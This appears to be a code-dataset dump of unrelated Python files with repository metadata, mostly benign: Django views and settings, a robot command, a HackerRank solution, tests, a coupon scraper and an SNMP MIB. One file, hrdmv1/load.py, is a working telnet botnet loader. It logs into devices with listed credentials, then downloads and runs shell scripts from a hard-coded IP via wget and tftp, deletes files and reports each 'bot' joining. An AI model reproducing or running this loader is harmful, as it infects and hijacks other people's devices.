user = authenticate(username=request.POST['username'], password=request.POST['password'])
if user is not None:
login(request, user)
return render(request, template_name='index.html', context={'request': request})
return render(request, template_name='login.html')
def register(request):
if request.method == 'POST':
formUser = f.FormReg(request.POST)
if formUser.is_valid():
formUser.save()
NewCustomUser = CustomUser(user=formUser.instance)
NewCustomUser.save()
return render(request, template_name='reg.html', context={'form': formUser})
elif 'code' in request.GET:
auth_code = request.GET.get('code')
auth_token = yandex_oauth.get_oauth_json(auth_code)['access_token']
user_json = yandex_oauth.get_account_info(auth_token)
return render(request, template_name='reg.html', context={'login':user_json['login'], 'email':user_json['default_email']})
return render(request, template_name='reg.html', context={'registered':False})
@login_required(login_url="/login/")
def change_pass(request):
if request.method == 'POST':
form = PasswordChangeForm(request.user, request.POST)
print(request.POST)
if form.is_valid():
update_session_auth_hash(request, form.save())
return render(request, template_name='change_password.html', context={'request': request, 'form': form})
return render(request, template_name='change_password.html')
def userprofile(request, id):
if request.method == 'POST':
form = f.FormChangeProf(request.POST, instance=request.user)
if form.is_valid():
form.save()
return render(request, template_name='profile.html', context={'request': request, 'form': form})
return render(request, template_name='profile.html', context={'request': request,
'profile': CustomUser.objects.get(id=id)})
def yandex_auth(request):
url = yandex_oauth.get_verification_url()
return redirect(url) | 40.027397 | 130 | 0.692676 | 352 | 2,922 | 5.607955 | 0.244318 | 0.066869 | 0.105876 | 0.150456 | 0.337386 | 0.26849 | 0.208713 | 0.200608 | 0.100304 | 0.100304 | 0 | 0 | 0.188912 | 2,922 | 73 | 131 | 40.027397 | 0.832911 | 0.007871 | 0 | 0.137931 | 0 | 0 | 0.097999 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.137931 | false | 0.137931 | 0.155172 | 0.034483 | 0.517241 | 0.034483 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
0ce095ccb864b781b8aaf177a95a151e3f453307 | 480 | py | Python | lib/util/config.py | msniveau/discord-statusbot | 9f53e8484fcc857b10e7f1a6a0dd5180e6241f59 | [
"MIT"
] | 3 | 2019-03-22T22:38:56.000Z | 2019-07-28T12:31:25.000Z | lib/util/config.py | msniveau/discord-statusbot | 9f53e8484fcc857b10e7f1a6a0dd5180e6241f59 | [
"MIT"
] | 7 | 2018-10-22T14:09:58.000Z | 2018-12-16T05:06:07.000Z | lib/util/config.py | msniveau/discord-statusbot | 9f53e8484fcc857b10e7f1a6a0dd5180e6241f59 | [
"MIT"
] | 1 | 2018-11-19T10:13:03.000Z | 2018-11-19T10:13:03.000Z | from configparser import ConfigParser
class config:
__instance = None
@staticmethod
def getInstance(path = None):
if config.__instance == None:
config(path)
return config.__instance
def __init__(self, path):
if config.__instance != None:
raise Exception("Cannot load config file again, use getInstance instead")
else:
config.__instance = ConfigParser()
config.__instance.read(path) | 28.235294 | 85 | 0.633333 | 48 | 480 | 6 | 0.520833 | 0.291667 | 0.1875 | 0.138889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.291667 | 480 | 17 | 86 | 28.235294 | 0.847059 | 0 | 0 | 0 | 0 | 0 | 0.112266 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.071429 | 0 | 0.428571 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
0cf14bcbc5649c27e4164679bf1b9182a5bdc667 | 1,086 | py | Python | commands/tankliftteleopdefault.py | FRCTeam279/2019DeepSpace | 5fc8daac1d82db4dce8c448a519cb67ee070d4b8 | [
"MIT"
] | null | null | null | commands/tankliftteleopdefault.py | FRCTeam279/2019DeepSpace | 5fc8daac1d82db4dce8c448a519cb67ee070d4b8 | [
"MIT"
] | null | null | null | commands/tankliftteleopdefault.py | FRCTeam279/2019DeepSpace | 5fc8daac1d82db4dce8c448a519cb67ee070d4b8 | [
"MIT"
] | null | null | null | from wpilib.command import Command
import robotmap
import subsystems
import oi
class TankLiftTeleopDefault(Command):
def __init__(self):
super().__init__('TankLiftTeleopDefault')
self.requires(subsystems.drivelift)
self.setInterruptible(True)
self.setRunWhenDisabled(False)
def execute(self):
#if subsystems.drivelift.allLiftToggle == True:
# subsystems.drivelift.extendAll()
#else:
# subsystems.drivelift.retractAll()
#if subsystems.drivelift.frontLiftToggle == True:
# subsystems.drivelift.extendFront()
#else:
# subsystems.drivelift.retractFront()
#if subsystems.drivelift.backLiftToggle == True:
# subsystems.drivelift.extendBack()
#else:
# subsystems.drivelift.retractBack()
subsystems.drivelift.backIRToBool()
subsystems.drivelift.frontIRToBool()
def isFinished(self):
# default commands never "finish", they're just interrupted by other commands
return False | 31.028571 | 85 | 0.649171 | 91 | 1,086 | 7.659341 | 0.494505 | 0.327116 | 0.090387 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.26151 | 1,086 | 35 | 86 | 31.028571 | 0.869077 | 0.42081 | 0 | 0 | 0 | 0 | 0.034036 | 0.034036 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.266667 | 0.066667 | 0.6 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
0cf1d63f9a7dca951014eaaa50bd8b8429a85fa4 | 3,138 | py | Python | hrdmv1/load.py | 1Dragos12/arhive | 46dd676e3f9ebb1879a12b899a335ca7f5c1b8c6 | [
"MIT"
] | null | null | null | hrdmv1/load.py | 1Dragos12/arhive | 46dd676e3f9ebb1879a12b899a335ca7f5c1b8c6 | [
"MIT"
] | null | null | null | hrdmv1/load.py | 1Dragos12/arhive | 46dd676e3f9ebb1879a12b899a335ca7f5c1b8c6 | [
"MIT"
] | null | null | null | #!/usr/bin/python
# yoo, source edit by WP
# downloaded from only4skillers.eu
import sys, re, os, socket, time
from multiprocessing import Process
if len(sys.argv) < 2:
sys.exit("\033[37mUsage: python "+sys.argv[0]+" [list]")
cmd="cd /tmp || cd /run || cd /; wget http://89.42.133.67/axisbins.sh; chmod 777 axisbins.sh; sh axisbins.sh; tftp 89.42.133.67 -c get axistftp1.sh; chmod 777 axistftp1.sh; sh axistftp1.sh; tftp -r axistftp2.sh -g 89.42.133.67; chmod 777 axistftp2.sh; sh axistftp2.sh; rm -rf axisbins.sh axistftp1.sh axistftp2.sh; rm -rf *" #payload goes here
info = open(str(sys.argv[1]),'a+')
def readUntil(tn, string, timeout=8):
buf = ''
start_time = time.time()
while time.time() - start_time < timeout:
buf += tn.recv(1024)
time.sleep(0.01)
if string in buf: return buf
raise Exception('TIMEOUT!')
def infect(ip,username,password):
ip = str(ip).rstrip("\n")
username = username.rstrip("\n")
password = password.rstrip("\n")
try:
tn = socket.socket()
tn.settimeout(10)
tn.connect((ip,23))
except Exception:
tn.close()
try:
hoho = ''
hoho += readUntil(tn, "ogin")
if "ogin" in hoho:
tn.send(username + "\n")
time.sleep(0.09)
except Exception:
tn.close()
try:
hoho = ''
hoho += readUntil(tn, "assword:")
if "assword" in hoho:
tn.send(password + "\n")
time.sleep(0.8)
else:
pass
except Exception:
tn.close()
try:
prompt = ''
prompt += tn.recv(40960)
if ">" in prompt and "ONT" not in prompt:
try:
success = False
tn.send("cat | sh" + "\n")
time.sleep(0.1)
timeout = 8
data = ["BusyBox", "Built-in"]
tn.send("sh" + "\n")
time.sleep(0.01)
tn.send("busybox" + "\r\n")
buf = ''
start_time = time.time()
while time.time() - start_time < timeout:
buf += tn.recv(40960)
time.sleep(0.01)
for info in data:
if info in buf and "unrecognized" not in buf:
success = True
break
except:
pass
elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:
try:
success = False
timeout = 8
data = ["BusyBox", "Built-in"]
tn.send("sh" + "\n")
time.sleep(0.01)
tn.send("shell" + "\n")
time.sleep(0.01)
tn.send("help" + "\n")
time.sleep(0.01)
tn.send("busybox" + "\r\n")
buf = ''
start_time = time.time()
while time.time() - start_time < timeout:
buf += tn.recv(40960)
time.sleep(0.01)
for info in data:
if info in buf and "unrecognized" not in buf:
success = True
break
except:
pass
else:
tn.close()
if success == True:
try:
tn.send(cmd + "\n")
print "\033[32m[\033[31m+\033[32m] \033[33mBot is joining :] !\033[32m %s"%(ip)
time.sleep(20)
tn.close()
except:
tn.close()
tn.close()
except Exception:
tn.close()
for x in info:
try:
if ":23 " in x:
x = x.replace(":23 ", ":")
xinfo = x.split(":")
session = Process(target=infect, args=(xinfo[0].rstrip("\n"),xinfo[1].rstrip("\n"),xinfo[2].rstrip("\n"),))
session.start()
ip=xinfo[0]
username=xinfo[1]
password=xinfo[2]
time.sleep(0.01)
except:
pass
session.join()
| 24.708661 | 343 | 0.596558 | 483 | 3,138 | 3.863354 | 0.273292 | 0.057878 | 0.05895 | 0.051447 | 0.403001 | 0.344051 | 0.344051 | 0.333869 | 0.313505 | 0.266345 | 0 | 0.060271 | 0.222753 | 3,138 | 126 | 344 | 24.904762 | 0.704797 | 0.028362 | 0 | 0.594828 | 0 | 0.017241 | 0.193432 | 0.008867 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.068966 | 0.017241 | null | null | 0.008621 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
0cf232fd6a0a2615d32e143b4dafa9c8b9d39a65 | 335 | py | Python | HackerRank Solutions/Data Structures/Arrays/2D Array.py | UtkarshPathrabe/Competitive-Coding | ba322fbb1b88682d56a9b80bdd92a853f1caa84e | [
"MIT"
] | 13 | 2021-09-02T07:30:02.000Z | 2022-03-22T19:32:03.000Z | HackerRank Solutions/Data Structures/Arrays/2D Array.py | UtkarshPathrabe/Competitive-Coding | ba322fbb1b88682d56a9b80bdd92a853f1caa84e | [
"MIT"
] | null | null | null | HackerRank Solutions/Data Structures/Arrays/2D Array.py | UtkarshPathrabe/Competitive-Coding | ba322fbb1b88682d56a9b80bdd92a853f1caa84e | [
"MIT"
] | 3 | 2021-08-24T16:06:22.000Z | 2021-09-17T15:39:53.000Z | #!/bin/python
import sys
arr = []
for arr_i in xrange(6):
arr_temp = map(int,raw_input().strip().split(' '))
arr.append(arr_temp)
maxSum = -99999
for i in range(1, 5):
for j in range(1, 5):
maxSum = max(maxSum, arr[i-1][j-1]+arr[i-1][j]+arr[i-1][j+1]+arr[i][j]+arr[i+1][j-1]+arr[i+1][j]+arr[i+1][j+1])
print maxSum | 27.916667 | 119 | 0.585075 | 73 | 335 | 2.630137 | 0.356164 | 0.166667 | 0.15625 | 0.1875 | 0.234375 | 0.234375 | 0.234375 | 0.234375 | 0.208333 | 0.208333 | 0 | 0.071174 | 0.161194 | 335 | 12 | 120 | 27.916667 | 0.6121 | 0.035821 | 0 | 0 | 0 | 0 | 0.003096 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.1 | null | null | 0.1 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
0cf3d40aafb690be22ac7ab29b30880709900c00 | 803 | py | Python | test/tests/rackhd20/test_rackhd20_api_schemas.py | arunrordell/RackHD | 079c21f45cb38f538c502363aa1ff86dbcac3169 | [
"Apache-2.0"
] | 451 | 2015-11-09T13:19:25.000Z | 2022-03-16T08:00:16.000Z | test/tests/rackhd20/test_rackhd20_api_schemas.py | arunrordell/RackHD | 079c21f45cb38f538c502363aa1ff86dbcac3169 | [
"Apache-2.0"
] | 824 | 2015-11-10T15:25:50.000Z | 2018-04-09T09:59:49.000Z | test/tests/rackhd20/test_rackhd20_api_schemas.py | arunrordell/RackHD | 079c21f45cb38f538c502363aa1ff86dbcac3169 | [
"Apache-2.0"
] | 221 | 2015-11-10T23:00:46.000Z | 2022-03-16T08:00:22.000Z | '''
Copyright 2016, EMC, Inc.
Author(s):
George Paulos
'''
import fit_path # NOQA: unused import
import os
import sys
import subprocess
import fit_common
# Select test group here using @attr
from nose.plugins.attrib import attr
@attr(all=True, regression=True, smoke=True)
class rackhd20_api_schemas(fit_common.unittest.TestCase):
def test_api_20_schemas(self):
api_data = fit_common.rackhdapi("/api/2.0/schemas")
self.assertEqual(api_data['status'], 200, 'Incorrect HTTP return code, expected 200, got:' + str(api_data['status']))
for item in api_data['json']:
self.assertEqual(fit_common.rackhdapi(item)['status'], 200, 'Incorrect HTTP return code, expected 200, got:' + str(api_data['status']))
if __name__ == '__main__':
fit_common.unittest.main()
| 29.740741 | 148 | 0.714819 | 114 | 803 | 4.824561 | 0.535088 | 0.081818 | 0.070909 | 0.08 | 0.225455 | 0.225455 | 0.225455 | 0.225455 | 0.225455 | 0.225455 | 0 | 0.032496 | 0.156912 | 803 | 26 | 149 | 30.884615 | 0.779911 | 0.13325 | 0 | 0 | 0 | 0 | 0.209913 | 0 | 0 | 0 | 0 | 0 | 0.133333 | 1 | 0.066667 | false | 0 | 0.4 | 0 | 0.533333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
0cfcc7bce0d75906f89fbd881304c46e1c173bc0 | 869 | py | Python | scripts/add_lexicon_data.py | cltl/BL | 49c4e732ad126f149215644a0ae7683960dedf00 | [
"Apache-2.0"
] | null | null | null | scripts/add_lexicon_data.py | cltl/BL | 49c4e732ad126f149215644a0ae7683960dedf00 | [
"Apache-2.0"
] | 1 | 2020-01-07T09:24:25.000Z | 2020-01-07T09:24:25.000Z | scripts/add_lexicon_data.py | cltl/BL | 49c4e732ad126f149215644a0ae7683960dedf00 | [
"Apache-2.0"
] | 1 | 2019-10-05T02:07:47.000Z | 2019-10-05T02:07:47.000Z | """
Add FrameNet lexicon data to a data release folder
python add_lexicon_data.py --path_config_json=<path_config_json> --verbose=<verbose>
Usage:
add_lexicon_data.py --path_config_json=<path_config_json> --verbose=<verbose>
Options:
--path_config_json=<path_config_json> e.g., ../config/v0.json
--verbose=<verbose> 0 nothing, 1 descriptive stats, 2 debugging information
Example:
python add_lexicon_data.py --path_config_json="../config/v0.json" --verbose="2"
"""
from docopt import docopt
import json
import os
import shutil
# load arguments
arguments = docopt(__doc__)
print()
print('PROVIDED ARGUMENTS')
print(arguments)
print()
verbose = int(arguments['--verbose'])
settings = json.load(open(arguments['--path_config_json']))
shutil.copytree(settings['paths']['lexicon_data'],
settings['paths']['data_release_frames_folder'])
| 26.333333 | 84 | 0.739931 | 117 | 869 | 5.239316 | 0.376068 | 0.130506 | 0.182708 | 0.078303 | 0.303426 | 0.303426 | 0.257749 | 0.257749 | 0.189233 | 0.189233 | 0 | 0.007843 | 0.119678 | 869 | 32 | 85 | 27.15625 | 0.793464 | 0.563867 | 0 | 0.153846 | 0 | 0 | 0.250674 | 0.070081 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.307692 | 0 | 0.307692 | 0.307692 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
490467b4188c28156ee58c5dbb7523952e94e4ae | 1,338 | py | Python | udemy.py | Ahlyab/udemy-course-grabber | 05e3bea5fc8c8816b42c9edf242c503fe97d4026 | [
"MIT"
] | 2 | 2021-01-19T02:40:33.000Z | 2022-01-27T15:34:53.000Z | udemy.py | Ahlyab/udemy-course-grabber | 05e3bea5fc8c8816b42c9edf242c503fe97d4026 | [
"MIT"
] | null | null | null | udemy.py | Ahlyab/udemy-course-grabber | 05e3bea5fc8c8816b42c9edf242c503fe97d4026 | [
"MIT"
] | null | null | null | from pack import functions
from pack import banner
no = int(1)
def write_coupons (list_of_coupons_and_title):
global no
for indx, coupon_and_title in enumerate(list_of_coupons_and_title):
title, link = coupon_and_title.split('||')
coupons_file.write("\n"+ str(no) + ". " + title + "\n" + link + "\n")
no = int(no) + 1
def discudemy():
list_of_coupons_and_title = functions.discudemy(1)
write_coupons(list_of_coupons_and_title)
def learnviral():
list_of_coupons_and_title = functions.learnviral(1)
write_coupons(list_of_coupons_and_title)
def real_disc():
list_of_coupons_and_title = functions.real_disc(1)
write_coupons(list_of_coupons_and_title)
def udemy_freebies():
list_of_coupons_and_title = functions.udemy_freebies(1)
write_coupons(list_of_coupons_and_title)
def udemy_coupons_me():
list_of_coupons_and_title = functions.udemy_coupons_me(1)
write_coupons(list_of_coupons_and_title)
def main():
discudemy()
learnviral()
real_disc()
udemy_freebies()
udemy_coupons_me()
if __name__ == '__main__' :
banner.banner()
banner.info()
banner.msg()
coupons_file = open("./coupons.txt", "w", encoding="utf-8")
main()
banner.end_msg()
coupons_file.close()
| 25.730769 | 78 | 0.681614 | 182 | 1,338 | 4.56044 | 0.252747 | 0.13494 | 0.187952 | 0.231325 | 0.492771 | 0.46747 | 0.359036 | 0.23494 | 0.23494 | 0.101205 | 0 | 0.00759 | 0.212257 | 1,338 | 51 | 79 | 26.235294 | 0.779886 | 0 | 0 | 0.131579 | 0 | 0 | 0.028749 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.184211 | false | 0 | 0.052632 | 0 | 0.236842 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
4905cafe922be54862a49799916ec7e5df9950cb | 4,346 | py | Python | Simple_PF/settings.py | Festusali/Simple_PF | 5a35ce513db426413c8d508b55cbb4fe84aa64e9 | [
"MIT"
] | null | null | null | Simple_PF/settings.py | Festusali/Simple_PF | 5a35ce513db426413c8d508b55cbb4fe84aa64e9 | [
"MIT"
] | 9 | 2021-04-08T18:46:16.000Z | 2022-03-11T23:39:47.000Z | Simple_PF/settings.py | Festusali/Simple_PF | 5a35ce513db426413c8d508b55cbb4fe84aa64e9 | [
"MIT"
] | null | null | null | """
Django settings for Simple_PF project.
Generated by 'django-admin startproject' using Django 2.0.7.
For more information on this file, see
https://docs.djangoproject.com/en/2.0/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.0/ref/settings/
"""
import os
from decouple import config, Csv
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.0/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = config("SECRET_KEY", default='django_SECRET_KEY')
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = config("DEBUG", default=False, cast=bool)
ALLOWED_HOSTS = config("ALLOWED_HOSTS", default=[], cast=Csv())
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'portfolio',
'crispy_forms',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'Simple_PF.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [f'{BASE_DIR}/templates'],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
# Crispy form template settings
CRISPY_TEMPLATE_PACK = 'bootstrap3'
WSGI_APPLICATION = 'Simple_PF.wsgi.application'
# Database
# https://docs.djangoproject.com/en/2.0/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
# Password validation
# https://docs.djangoproject.com/en/2.0/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.'
'UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.'
'MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.'
'CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.'
'NumericPasswordValidator',
},
]
# Authentication User Model
AUTH_USER_MODEL = 'portfolio.UserModel'
# Internationalization
# https://docs.djangoproject.com/en/2.0/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'Africa/Lagos'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/2.0/howto/static-files/
STATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles')
STATIC_URL = '/static/'
STATICFILES_DIRS = [
os.path.join(BASE_DIR, "static")
]
# Media files (User uploaded contents like; Images, Videos, PDF, etc.)
MEDIA_ROOT = os.path.join(BASE_DIR, 'mediafiles')
MEDIA_URL = '/media/'
# Login and Login Redirect Url.
LOGIN_URL = "/u/login"
LOGIN_REDIRECT_URL = "index"
# Logout Redirect URL
LOGOUT_REDIRECT_URL = "index"
# Append slash to urls where needed?
APPEND_SLASH = True
# Email Backend for development
if DEBUG:
EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'
# Relivant settings for sending email
DEFAULT_FROM_EMAIL = config("DEFAULT_FROM_EMAIL")
EMAIL_HOST = config("EMAIL_HOST")
EMAIL_PORT = config("EMAIL_PORT", cast=int)
EMAIL_HOST_USER = config("EMAIL_HOST_USER")
EMAIL_HOST_PASSWORD = config("EMAIL_HOST_PASSWORD")
EMAIL_USE_TLS = config("EMAIL_USE_TLS", cast=bool)
| 25.267442 | 78 | 0.707777 | 512 | 4,346 | 5.857422 | 0.361328 | 0.065022 | 0.05135 | 0.058353 | 0.182728 | 0.155052 | 0.08903 | 0.08903 | 0.040013 | 0 | 0 | 0.007151 | 0.163369 | 4,346 | 171 | 79 | 25.415205 | 0.817657 | 0.291072 | 0 | 0.043478 | 1 | 0 | 0.471475 | 0.334754 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.086957 | 0.021739 | 0 | 0.021739 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
0b24f597c1ebb84576e1570caf96282a521895f8 | 1,325 | py | Python | src/pytraits/core/primitives/trait_object.py | Hc10b/py3traits | 713eec35a5a2f4eba6801c1c7660b863eb692bcc | [
"Apache-2.0"
] | 25 | 2015-05-25T20:27:43.000Z | 2020-08-30T16:37:59.000Z | src/pytraits/core/primitives/trait_object.py | Hc10b/py3traits | 713eec35a5a2f4eba6801c1c7660b863eb692bcc | [
"Apache-2.0"
] | 2 | 2017-11-02T09:02:37.000Z | 2020-06-16T20:39:56.000Z | src/pytraits/core/primitives/trait_object.py | Hc10b/py3traits | 713eec35a5a2f4eba6801c1c7660b863eb692bcc | [
"Apache-2.0"
] | 3 | 2015-05-25T20:34:13.000Z | 2020-06-16T13:51:37.000Z | #!/usr/bin/python -tt
# -*- coding: utf-8 -*-
'''
Copyright 2014-2015 Teppo Perä
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
'''
from ..base import TraitFactory
class TraitObject:
FACTORY = TraitFactory()
def __init__(self, object):
self._object = object
self._compiler = self.FACTORY["Compiler"]()
@classmethod
def __str__(cls):
return cls.__name__.lower().replace('object', '')
@classmethod
def hook_into(cls, inspector):
if inspector.TYPE in cls.INSPECTORS:
inspector.add_hook(cls.__str__(), cls)
@property
def object(self):
return self._object
@property
def qualname(self):
try:
return self._object.__qualname__
except AttributeError:
return type(self._object).__name__
| 27.604167 | 75 | 0.673962 | 169 | 1,325 | 5.100592 | 0.597633 | 0.069606 | 0.030162 | 0.037123 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012897 | 0.239245 | 1,325 | 47 | 76 | 28.191489 | 0.842262 | 0.451321 | 0 | 0.181818 | 0 | 0 | 0.020349 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.227273 | false | 0 | 0.045455 | 0.090909 | 0.545455 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
0b2a062bb3491e2ee19a8f56283fb38e46ee04de | 2,314 | py | Python | pysnmp/ARBOR-SMI.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 11 | 2021-02-02T16:27:16.000Z | 2021-08-31T06:22:49.000Z | pysnmp/ARBOR-SMI.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 75 | 2021-02-24T17:30:31.000Z | 2021-12-08T00:01:18.000Z | pysnmp/ARBOR-SMI.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 10 | 2019-04-30T05:51:36.000Z | 2022-02-16T03:33:41.000Z | #
# PySNMP MIB module ARBOR-SMI (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/ARBOR-SMI
# Produced by pysmi-0.3.4 at Mon Apr 29 17:08:55 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15)
#
OctetString, Integer, ObjectIdentifier = mibBuilder.importSymbols("ASN1", "OctetString", "Integer", "ObjectIdentifier")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
ValueRangeConstraint, ValueSizeConstraint, ConstraintsUnion, ConstraintsIntersection, SingleValueConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueRangeConstraint", "ValueSizeConstraint", "ConstraintsUnion", "ConstraintsIntersection", "SingleValueConstraint")
NotificationGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ModuleCompliance")
ModuleIdentity, ObjectIdentity, Counter32, Gauge32, enterprises, Integer32, IpAddress, MibIdentifier, Counter64, NotificationType, iso, MibScalar, MibTable, MibTableRow, MibTableColumn, Unsigned32, TimeTicks, Bits = mibBuilder.importSymbols("SNMPv2-SMI", "ModuleIdentity", "ObjectIdentity", "Counter32", "Gauge32", "enterprises", "Integer32", "IpAddress", "MibIdentifier", "Counter64", "NotificationType", "iso", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "Unsigned32", "TimeTicks", "Bits")
TextualConvention, DisplayString = mibBuilder.importSymbols("SNMPv2-TC", "TextualConvention", "DisplayString")
arbornetworks = ModuleIdentity((1, 3, 6, 1, 4, 1, 9694))
arbornetworks.setRevisions(('2013-08-19 00:00', '2011-07-20 00:00', '2009-03-30 00:00', '2008-11-13 00:00', '2005-09-12 00:00',))
if mibBuilder.loadTexts: arbornetworks.setLastUpdated('201308190000Z')
if mibBuilder.loadTexts: arbornetworks.setOrganization('Arbor Networks, Inc.')
arbornetworksProducts = ObjectIdentity((1, 3, 6, 1, 4, 1, 9694, 1))
if mibBuilder.loadTexts: arbornetworksProducts.setStatus('current')
arborExperimental = ObjectIdentity((1, 3, 6, 1, 4, 1, 9694, 2))
